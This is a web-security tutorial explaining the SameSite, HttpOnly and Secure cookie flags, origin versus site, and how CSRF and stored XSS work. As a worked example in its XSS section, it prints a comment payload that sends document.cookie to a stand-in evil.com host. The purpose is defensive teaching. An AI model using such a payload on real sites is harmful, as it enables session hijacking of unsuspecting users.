Notes from production
SecurityCookiesCSRF

Cookie security: SameSite, HttpOnly, Secure

Think of your site as a private club, and the cookie as a wristband that proves you're a member. Every time you knock on the door — load a page — the browser flashes the band and you don't have to check in again. The catch: that band is valuable. Copy it, or trick you into flashing it in the wrong place, and someone becomes you.

Three flags on one cookie close three different gaps. Not three versions of the same thing — three bouncers standing at three different doors. This article explains each with a diagram, then closes on the single Set-Cookie line you should use for a normal login cookie.

Three flags, three different questions

The key to all three: they answer different questions. Blurring them is the most common source of confusion.

SameSiteattached to this request?transport — which requests carry itHttpOnlyreadable by JavaScript?script access — can the page read itSecuresent over plain HTTP?the wire — HTTPS only, never cleartext
Three flags, three axes that never overlap: SameSite is about transport, HttpOnly about script access, Secure about the wire.
  • SameSiteis the cookie attached to this request? It governs cross-site requests. This blocks CSRF.
  • HttpOnlycan JavaScript on the page read the cookie value? When on, document.cookie can't see it. This contains the damage from XSS.
  • Securemay the cookie travel over plain HTTP? No — only over HTTPS, so nobody can sniff it in transit.

For a login's session cookie, you use all three. The header looks like this:

Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=3600

First: what "top-level navigation" means

Every explanation of SameSite leans on the phrase top-level GET navigation and then never defines it. It's the single distinction the whole feature is built on, so here it is properly.

It's the difference between the whole page going somewhere and a page fetching something in the background while you stay put.

TOP-LEVEL NAVIGATIONthe address bar changesevil.com<a href="bank.com"> click me</a>you click itbank.com← HEREthe whole page movedYou SEE where you landed.evil.com can’t read the page.SUBRESOURCE REQUESTthe address bar stays putevil.com<script> fetch("bank.com/ balance")</script>no click at allevil.com← stillyou never leftYou see nothing at all.evil.com’s JS reads the reply.SameSite=Lax draws its line exactly herecookie sent on the left · withheld on the right
Top-level navigation vs subresource request. Left: you clicked, the address bar now says bank.com, and you can see where you landed. Right: nothing moved, evil.com is still on screen — and its JavaScript reads the reply.

A top-level navigation is what happens when you click a link and the whole tab goes somewhere else. The URL bar changes. You can see the new site. Everything about it is visible to you.

A subresource request is a request the current page fires while staying exactly where it is — a fetch(), an <img>, a <script>, an <iframe>. The URL bar never moves. Nothing on screen tells you it happened.

That difference is the whole reason Lax exists, and it comes down to who gets to read the reply:

  • On a top-level navigation, the attacker only sent you somewhere. The response renders in a page their JavaScript cannot read — that's the same-origin policy, a separate rule from cookies entirely. Sending the cookie is fairly harmless: you can see where you are, and they can't see what's on it.
  • On a background fetch, their JavaScript reads the response body. Very much not harmless.

And GET narrows it one step further: clicking a link or following a redirect, not submitting a form. A cross-site POST that navigates you is the classic money-transfer CSRF — you'd see the result page afterwards, but the damage is already done, so Lax won't send the cookie for it.

Then: same-origin vs same-site

The attribute is called SameSite, not SameOrigin, and that word is load-bearing. Origin and site are two different boundaries with two different rules — and confusing them is where most "why is my cookie not shared?" bugs come from.

https://app.example.com:443/api/dataschemehostportpathORIGINscheme + host + portall three must match exactlyhttps://app.example.com:443SITEscheme + registrable domainport ignored · subdomains toohttps://*.example.comapp.example.com vs api.example.comdifferent ORIGIN · same SITECORS treats them as strangers · SameSite as family
One URL, two boundaries. An origin is scheme + host + port, all three matching. A site is scheme + the registrable domain, with the port and every subdomain ignored.

Start with the URL itself, because every rule below is written in terms of its parts. Take one address:

https://app.example.com:443/api/data
└─┬─┘   └──────┬──────┘ └┬┘ └───┬───┘
scheme      host       port   path
PartHere it isWhat it meansCounts toward…
schemehttpsthe protocol — how to talk to it. http and https are two different schemes.origin and site
hostapp.example.comthe machine name, read right-to-left: comexample.com → the app subdomain.origin exactly; site only after collapsing subdomains
port443which door on that machine. 443 is the HTTPS default (80 for HTTP), so browsers hide it — it's there whether you type it or not.origin only
path/api/datawhich resource on that host.neither — no security boundary is drawn on the path

That last row surprises people: /admin and /public are the same origin and the same site, so nothing in this article separates them. (Cookies do have a Path attribute, but it's a scoping convenience, not a security boundary — script on the same origin can always reach a cookie on another path.)

With the parts named, the two boundaries are just two different subsets of them.

An origin is scheme + host + port, and all three must match exactly. It is the browser's strictest boundary: api.example.com and www.example.com are as foreign to each other as example.com and evil.com.

A site is scheme + the registrable domain. It collapses every subdomain down and ignores the port entirely — a much looser boundary.

The shorthand most people carry in their head is right, and worth writing down:

origin  =  https://app.example.com:443   ← this exact host, this exact port
site    =  https://*.example.com         ← any subdomain, any port
ABSame origin?Same site?
https://app.example.comhttps://api.example.com❌ host differsexample.com
https://example.com/loginhttps://example.com/api/x✅ path is irrelevant
https://example.comhttps://example.com:8443❌ port differs✅ port ignored
https://example.comhttp://example.com❌ scheme differs❌ scheme counts*
https://app.acme.iohttps://team.acme.io❌ host differsacme.io
https://app.acme.iohttps://app.example.com❌ different domains

* Modern browsers use schemeful same-site, so http and https count as two different sites. Older behaviour ignored the scheme, which let a network attacker plant cookies over plain HTTP that the HTTPS site would then honour.

Row one is the one that matters in practice: cross-origin but same-site. Your front-end on one subdomain calling your API on another is cross-origin — so CORS applies — while SameSite is perfectly happy, because both hosts collapse to the same registrable domain. Reaching for SameSite=None to "fix" that is a misdiagnosis: it was never the blocker.

The wrinkle: you can't just count labels

Registrable domain is not "the last two labels". It's one label more than the public suffix — and public suffixes come from a hand-maintained list.

shop.example.co.uksubdomainPUBLIC SUFFIXon the PSLregistrable domain = the SITE= the public suffix + one more labelCounting “the last two labels” would give co.uk —then every business under co.uk would be one site.alice.github.io vs bob.github.iogithub.io is ON the list → DIFFERENT siteswithout that entry, one Pages user could setcookies for every other one
The site boundary is found via the Public Suffix List, not by counting dots. Under co.uk the registrable domain is example.co.uk; and because github.io is itself on the list, two GitHub Pages users are different sites.

Naive label-counting on shop.example.co.uk would give you co.uk — which would make every business registered under co.uk same-site with every other one, free to set each other's cookies. The Public Suffix List exists to stop exactly that. It cuts the other way too: github.io is on the list, so alice.github.io and bob.github.io are different sites. Without that entry, every GitHub Pages user could set cookies for every other one.

Which rule governs what

This is the practical payoff. Three mechanisms you'll touch in the same afternoon, three different granularities:

MECHANISMGRANULARITYReading a fetch() responseCORS is the opt-outORIGINDOM access between framesORIGINlocalStorage / IndexedDBORIGINSameSite cookie attributerequests carry itSITESec-Fetch-Site request headerSITECookie Domain= attributehosts receive itDOMAIN SUFFIXCookies predate origins — they were always domain-scoped.http://x.com:3000 and https://x.com:8080 share one cookie jar.
Reading a response, framing, and storage are all origin-scoped. SameSite and Sec-Fetch-Site are site-scoped. The cookie's own Domain attribute is a third rule again — a domain suffix.

Note that cookies are the odd one out twice over. They predate the origin model, so they have always been domain-scoped — which means cookies are not protected by origin at all. http://example.com:3000 and https://example.com:8080 share one cookie jar despite being three different origins.

That's what makes this class of bug subtle. Three settings that look like one decision are each operating at a different level:

'domain'   => '.example.com',   // DOMAIN-SUFFIX rule: which HOSTS receive the cookie
'sameSite' => 'Lax',            // SITE rule: whether cross-SITE requests carry it
// and, elsewhere, in your CORS middleware:
'allowedOrigins' => ['https://app.example.com'],  // ORIGIN rule: who may READ the response

If the sharing you want is front-end host → API host, that's cross-origin, same-site: the Domain attribute handles it and the allow-list handles the read. SameSite was never in the way — so loosening it to None buys you nothing and opens the cross-site fetch() row you were relying on it to block.

SameSite: Strict, Lax, None

Now the three values make sense, because they're just three places to draw the line on that same scale: how far the cookie still rides when the request comes from another site. The looser it is, the more convenient — and the larger the attack surface.

Pick a value and a situation below. The matrix stays on screen so you can see the chosen cell in context rather than in isolation:

StrictLaxNoneSame-site request — any kindCross-site link click (top-level GET)Cross-site redirect back (SSO)Cross-site form POSTCross-site fetch() / XHRCross-site <img> / <script> / <iframe>

Cookie SENT — an inbound link click under SameSite=Lax. A top-level GET navigation: the address bar changed, and whoever sent you there cannot read the page that renders — the same-origin policy stops them. Lax judges that harmless enough to send the cookie, so the user arrives logged in.

Lax — “also when the user clicks their way in.” The browser default when you set no attribute at all, and the right answer for roughly every session cookie.

Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax
Cross one SameSite value with one kind of request. Rows get looser going down; the cookie is sent (✓) or withheld (✗) per column.
What's happeningStrictLaxNone
Same-site request — any kind
Click a link from another site (top-level GET)
Redirect back from another site (top-level GET)
Cross-site form POST
Cross-site fetch() / XHR
<img> / <script> / <iframe> from another site

Lax is what modern browsers use when you set no attribute at all. None requires Secure — set it over plain HTTP and the browser drops the cookie entirely, so nobody stays logged in.

In plain terms

Strict — "only when the user is already on my site." The safest, and it has one famous annoyance: you're logged into GitHub, a colleague sends you a link to a private repo, you click it — and you land logged out. The cookie wasn't sent, because you arrived from chat. You refresh, and now you're logged in, because that second request came from GitHub itself.

Lax — "also when the user clicks their way in." It fixes that annoyance while still blocking every background request. The login-redirect case works; the silent-fetch case doesn't. This is why Lax is the default: it's the sweet spot for the overwhelming majority of cookies.

None — "always, no matter who's asking." You are opting out of the protection entirely. It's legitimate when your cookie genuinely must work inside someone else's page — an embedded chat widget, a payment iframe, an SSO provider serving many unrelated domains. It is not something to set "to be safe".

ModeSends the cookie on…Best forThe cost
Strictsame-site requests only (from inside your own site)the most sensitive actions — admin panels, banking, anti-CSRF tokensan external link makes the user appear logged out until they navigate within the site
Lax (default)same-site + cross-site link clicks (top-level GET navigations)most session cookies — balancedalmost none; this is the sweet spot
Noneall requests, including cross-sitegenuine cross-site needs — SSO, embedded widgets, payment iframesrequires Secure; SameSite no longer protects CSRF — you must add your own CSRF token

Now the flags in combination. Set all three below and watch which attacks the config blocks or exposes — the panel and the verdict update live, and the Set-Cookie line at the bottom is exactly what you'd send.

CSRFforged cross-site requestSameSite=Laxcross-site → withheldblockedXSS token thefta script reads the cookieHttpOnly=truedocument.cookie is emptyblockedNetwork sniffingcookie read off the wireSecure=trueHTTPS onlyblocked

The recommended login cookie. It blocks CSRF, XSS token theft, and wire sniffing, with no usability cost. This is the one to ship.

Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=Lax
The cookie sandbox — pick SameSite, HttpOnly, and Secure below; the panel shows what each choice blocks (CSRF, XSS token theft, wire sniffing) and what it leaves open.

Lax, case by case (what's right and what leaks)

Lax cares about one distinction only: is this request a top-level GET navigation (the address bar actually changes) or something else (POST, background fetch, iframe, image). The cookie rides only for the first kind.

cross-siterequesttop-levelGET nav?yes → SENTlink click ✓true positiveGET-trap ⚠false positiveno → STRIPPEDPOST / iframetrue negative
The Lax rule as one decision: address bar changed via a link → send; form-post / iframe / fetch → strip.

The clear way to grade it: the cookie's job is to be present for legitimate you and absent for attackers. Call "positive" = the cookie is sent.

CaseCookie sent?ClassificationMeaning
Legit external link click to bank.comYesTrue positiveyou arrive logged in — correct and convenient
evil.com auto-POSTs a transfer (CSRF)No — strippedTrue negativethe forged request arrives with no session → rejected. This is the whole point of Lax
evil.com loads your account in an iframe / fetchNo — strippedTrue negativeanother site can't silently pull your data
SSO / OAuth redirect that returns via a cross-site POSTNo — strippedFalse negativea legit flow appears logged out mid-way — use SameSite=None for that one cookie
A state-changing GET link: /transfer?to=…YesFalse positiveLax still sends the cookie on GET navigations — which is why you must never mutate state on GET

The one-line model: Lax sends the cookie if the user deliberately navigated to my site (address bar changed via a link/GET), but not if my site was contacted in the background or via a form-submit from someone else's page.

CSRF: a forged request from another site

CSRF (cross-site request forgery) is the attack SameSite was built to stop. Here it is in slow motion — follow the numbered steps in the diagram:

  1. You log in to bank.com. It sets your session cookie. If that cookie is marked SameSite=None, the browser will send it on any request to bank.com — even one started by a different site.
  2. Without logging out, you open evil.com — a tab, an ad, a link in an email.
  3. evil.com silently fires a request at the bank: a hidden form or fetch does POST bank.com/transfer?to=attacker. You see nothing on screen.
  4. Your browser attaches your bank.com cookie to that request — because SameSite=None told it to. This is the step everyone gets wrong: evil.com never sees your cookie. It can't read the value. The browser attaches it automatically, on its way to the bank.
  5. bank.com gets a request with a valid session and runs the transfer. To the bank it looks exactly like you clicked the button. Money gone.
SameSite=None1You log in to bank.comthe bank sets your session cookie…2Still logged in, you open evil.coma new tab, an ad, a link — you never logged out3evil.com fires a hidden requestPOST bank.com/transfer?to=attacker4Your browser attaches the cookieSameSite=None → sent on ANY site’s requestcookie attached5bank.com sees a valid session→ the transfer runs. You’re robbed.evil.com never READS your cookie — your browser attaches it.It rides your logged-in session; it doesn’t steal it.The fix — SameSite=Lax (the default)step 4 flips: the browser WITHHOLDS the cookie on the cross-site POST→ bank.com sees no session → 401. Same request, attack dead.
The forged cross-site request. Under SameSite=None the browser attaches your bank cookie to evil.com's POST, so it rides your session. SameSite=Lax withholds the cookie and the same request dies with a 401.

So the cookie is never stolen — it rides along. The attacker borrows your logged-in session for one request. (Reading the cookie's value is a different attack — XSS, next — and that's what HttpOnly stops.)

The fix is one word. Set SameSite=Lax (already the browser default) or Strict. At step 4 the browser looks at the forged POST, sees a cross-site request that isn't a top-level navigation, and withholds the cookie. bank.com gets an anonymous request and replies 401. The same attack, now dead — with no extra code on the bank's side.

XSS: the hole SameSite can't close

Now the attack SameSite doesn't touch. XSS (cross-site scripting) is when an attacker gets their own JavaScript to run on your own page. The classic delivery is a stored comment — the attacker's comment is literally this text:

<script>fetch('https://evil.com/steal?c=' + document.cookie)</script>

Now follow the numbered steps in the diagram:

  1. The attacker posts that comment on any page that lets users comment.
  2. Your server stores it in the database, raw — the text is never escaped. (Misconfig #1: not sanitized.)
  3. Later, a victim opens the comments page, and the server sends the stored comment back to the browser (backend → frontend).
  4. The page renders the comment unescaped, so the <script> becomes live code instead of visible text — and because the page's CSP allows unsafe-inline, the browser lets that inline script run. (Misconfigs #2 and #3.)
  5. The script runs as your own site and reads document.cookie. With HttpOnly=false it can see the session value, so it ships your cookie to evil.com. The token is stolen and can be replayed.
1Attacker posts a comment<script>steal()</script>2The server stores it in the DBsaved raw — the text is never escapednot sanitized3A victim opens the comments pagethe server sends the stored comment back (BE → FE)4The page renders it — unescapedthe <script> becomes live codeCSP: unsafe-inline5It runs & reads your cookiedocument.cookie → sent to evil.comHttpOnly=falsethe script runs as YOUR site (same-origin) — SameSite can’t see it.all three misconfigs above must line up for the theft to work.The fix — three locks, any one breaks the chainescape output → inert text · strict CSP → no inline script runsHttpOnly=true → document.cookie is empty, nothing to steal
Stored-XSS exfiltration. The comment is saved unsanitized, served back, rendered unescaped (CSP unsafe-inline lets it run), and the script reads the cookie because HttpOnly is false — then ships it to evil.com.

That script runs as your site (same-origin), not as a cross-site request — so SameSite has no opinion here. Three misconfigurations had to line up; break any one and the theft fails. HttpOnly=true is the cookie's own lock: document.cookie returns an empty string, so even if the script runs, JavaScript never sees the token — nothing to exfiltrate and replay.

"Cross-site scripting" is a misnomer

Worth pinning down, because the name actively misleads people about which boundary is being crossed.

The name says cross-site. The mechanism is same-origin. The blast radius is same-site. Three different answers, one acronym.

the NAME sayscross-siteevil.combank.com“reaching across” — what it meant in 2000the MECHANISM issame-originbank.com renders itruns ASbank.comreads the DOM, localStorage, its own APIthe BLAST RADIUS issame-sitemarketing.example.comcookie Domain=.example.com→ auth · api · every sibling host is in scopenamed cross-site · executes same-origin · spreads same-site
The three boundaries tangled up in one acronym: XSS is named cross-site, executes same-origin, and spreads same-site.

The term was coined around 2000, and back then it described a genuinely cross-site attack — an attacker's page loading a victim site in a frame and scripting across that frame boundary. Browsers closed that specific hole by enforcing the same-origin policy on frames. The name outlived the attack it named and got re-attached to script injection, which is a different thing entirely. HTML injection or script injection would describe today's XSS far more accurately.

Same-origin is the whole severity. If an injected script ran in the attacker's origin, XSS would be a non-event — that's just a website running JavaScript, which is what websites do. Every bit of the danger comes from it running in your origin:

The injected script can…Because…
Read the whole DOM, including form fieldssame origin
Read localStorage / IndexedDBstorage is origin-scoped
Call your own API and read the responsesame-origin — CORS never applies
Act with the user's sessioncookies attach automatically

Look at that third row for a second. CORS is irrelevant to XSS. All the careful allow-list work in your CORS config protects you from other origins; it does nothing once the attacker's code is running inside your own.

And "site" does come back — for the blast radius. Script execution is origin-scoped, but cookies are matched by domain suffix. So an XSS on some low-value host under your domain — an old marketing microsite, a forgotten admin tool — puts every cookie scoped to Domain=.example.com in reach, and the script can make authenticated calls to every service under that domain. Execution is same-origin; consequences spread same-site. That's also the argument against a wildcard *.example.com in a CORS allow-list: one subdomain takeover anywhere becomes session-level access everywhere.

SameSite stops the forged request. HttpOnly stops the stolen token. Secure stops the sniffed wire. XSS itself you kill upstream with CSP and output encoding — the flags just contain the damage.

The division of labour

CSRF vs XSS: request scope vs scripting scope

The two attacks share the same first words — Cross-Site — so they blur together. The difference is the next word, and it's the whole story: it names the scope each one attacks.

both start “Cross-Site” (the X = cross) — the SCOPE is what differsCSRFCross-Site Request Forgeryscope = the REQUESTanothersiteyoursitebrowser auto-attaches your cookie✓ SameSite blocks ita cross-site request → withheldattacker never reads the cookieXSSCross-Site Scripting (no R)scope = the SCRIPTinjectedscriptdocument.cookieruns on your page, as you → reads it✗ SameSite can’t reach it✓ HttpOnly = truehides the cookie from the script
Both are cross-site; the scope is what differs. CSRF attacks the request (SameSite's job); XSS attacks through a script on your own page (HttpOnly's job).
  • CSRF = Cross-Site Request Forgery. The scope is the request. Another site makes your browser send a request; your cookie rides along automatically. Because it's a cross-site request, SameSite sees it and withholds the cookie — done.
  • XSS = Cross-Site Scripting. The scope is the script — notice there's no "R", nothing is forged across sites. Instead a script is injected into your own page; when it runs (as your own site) it reads document.cookie directly. That's not a cross-site request, so SameSite never sees it. The only fix is HttpOnly=true, which hides the cookie from the script.

So the two flags never overlap: SameSite guards the request boundary, HttpOnly guards the script boundary. Neither can do the other's job.

Secure: guarding the wire

Secure is the simplest: the cookie is sent only over HTTPS, never over plain HTTP. Without it, anyone sniffing the network — a café Wi-Fi, a rogue proxy — reads the cookie straight off the request, even if HttpOnly blocks the script-side read. HttpOnly keeps the cookie from JavaScript; Secure keeps it off the wire.

That's why SameSite=None requires Secure: a cookie sent everywhere must never cross in cleartext.

Put all three together

The three flags close three disjoint attack classes. There's no single cell where they substitute for each other — you need all three.

sessioncookieSecureno plaintext on the wirestops network sniffingSameSite=Laxno forged cross-site requeststops CSRFHttpOnlyno token read by scriptstops XSS theft
Three flags, three defences around one session cookie: Secure guards the wire, SameSite guards the request, HttpOnly guards the token.

Do

  • Set Secure; HttpOnly; SameSite=Lax on every session/auth cookie.
  • Keep state-changing actions on POST/PUT/DELETE, never GET.
  • If you need SameSite=None, pair it with Secure and a CSRF token.

Don't

  • Don't rely on HttpOnly to prevent XSS — it only limits the blast radius.
  • Don't set SameSite=None "to be safe" — it turns off the built-in CSRF protection.
  • Don't put a state-changing operation on a GET link — Lax still sends the cookie there.

Common questions

What exactly is a “top-level GET navigation”?

The whole tab going somewhere because you clicked a link or followed a redirect — the address bar changes and you can see where you landed. A fetch(), an <img>, an <iframe>, or a form POST is not one: the page stays put. Lax sends the cookie for the first kind and strips it from everything else, because on a navigation the sender can't read the page they sent you to, while on a background request their script reads the reply.

My front-end and API are on different subdomains — do I need SameSite=None?

Almost certainly not. Different subdomains are cross-origin but same-site, and same-site requests carry the cookie under all three values, Strict included. What you need is the cookie's Domain attribute (so both hosts receive it) and a CORS allow-list (so the browser lets your front end read the response). Setting None doesn't unlock anything there — it only unlocks the cross-site fetch() you wanted blocked.

If I don't set SameSite at all, what happens?

Modern browsers default it to Lax. So you get basic CSRF protection without writing anything — but still set it explicitly, so the intent is clear and consistent across browsers.

HttpOnly makes the cookie useless to my JavaScript — now what?

That's the point for a session cookie: an auth token shouldn't be touchable by script. If your front end needs to read something, keep that non-sensitive data in a separate cookie/storage, and leave the session token HttpOnly.

If I already use CSRF tokens, do I still need SameSite?

Yes — defence in depth. SameSite=Lax kills most CSRF vectors at the transport layer, so the CSRF token becomes a safety net rather than the only defence. Both are cheap; use both.

Does Secure make the cookie safe from XSS?

No. Secure is only about the wire (HTTPS), not script access. What stops token theft via document.cookie is HttpOnly; what stops XSS in the first place is output encoding + CSP.

The bottom line

Three flags, three attacks. SameSite=Lax stops the forged cross-site request (CSRF). HttpOnly stops the token being stolen by script (XSS). Secure keeps it from ever crossing in cleartext. XSS itself you kill upstream with CSP + encoding; the flags just contain the damage. For a normal login cookie, three words are enough: Secure; HttpOnly; SameSite=Lax.

It's part of the same security arc as Fast, safe SSL & security on the edge (TLS, HSTS, CSP, WAF) and DNSSEC: a tamper-proof seal on your DNS.

Sources

  1. MDN — Set-Cookie (Secure, HttpOnly, SameSite)
  2. MDN — SameSite attribute
  3. OWASP — Cross-Site Request Forgery (CSRF)
  4. OWASP — HttpOnly